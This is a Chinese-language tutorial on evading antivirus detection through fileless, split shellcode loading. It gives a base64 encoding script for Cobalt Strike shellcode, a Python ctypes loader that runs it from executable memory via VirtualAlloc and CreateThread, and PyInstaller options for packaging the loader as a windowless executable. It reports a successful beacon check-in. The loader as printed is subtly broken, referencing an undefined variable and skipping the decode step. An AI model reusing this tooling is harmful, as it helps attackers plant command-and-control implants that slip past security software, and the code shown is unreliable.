免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写

无文件落地&分离拆分

       无文件落地&分离拆分其实就是内存免杀，内存免杀是将shellcode直接加载进内存，由于没有文件落地，因此可以绕过文件扫描策略的查杀。为了使内存免杀的效果更好，在申请内存时一般采用渐进式申请一块可读写内存，在运行时改为可执行，在执行的时候遵循分离免杀的思想。分离免杀包含对特征和行为的分离两个维度，把shellcode从放在程序转移到加载进内存，把整块的shellcode通过分块传输的方法上传然后再拼接，这些体现了基本的”分离“思想。

内存免杀各种方法：

Python-File-将shellcode从文本中提取

1.cs生成c语言64位shellcode，将其使用以下脚本转换为byte流数据

Byte.py:

import base64

s=b'生成的shellcode'
ss=base64.b64encode(s)
print(ss)

2.创建一个s.txt文件，将转换的byte流shellcode放入其中，使用以下shellcode加载代码执行：

File_1.py:

import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0,ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

环境：使用python64位执行

执行成功，cs成功上线

3.使用Pyinstall打包器，将File_1.py打包成exe执行程序。

Pyinstall打包器

安装：pip install pyinstaller

参数：

-F, –onefile 打包一个单个文件，如果你的代码都写在一个.py文件的话，可以用这个，如果是多个.py文件就别用

-D, –onedir 打包多个文件，在dist中生成很多依赖文件，适合以框架形式编写工具代码，我个人比较推荐这样，代码易于维护

-K, –tk 在部署时包含 TCL/TK

-a, –ascii 不包含编码.在支持Unicode的python版本上默认包含所有的编码.

-d, –debug 产生debug版本的可执行文件

-w,–windowed,–noconsole 使用Windows子系统执行.当程序启动的时候不会打开命令行(只对Windows有效)

-c,–nowindowed,–console 使用控制台子系统执行(默认)(只对Windows有效)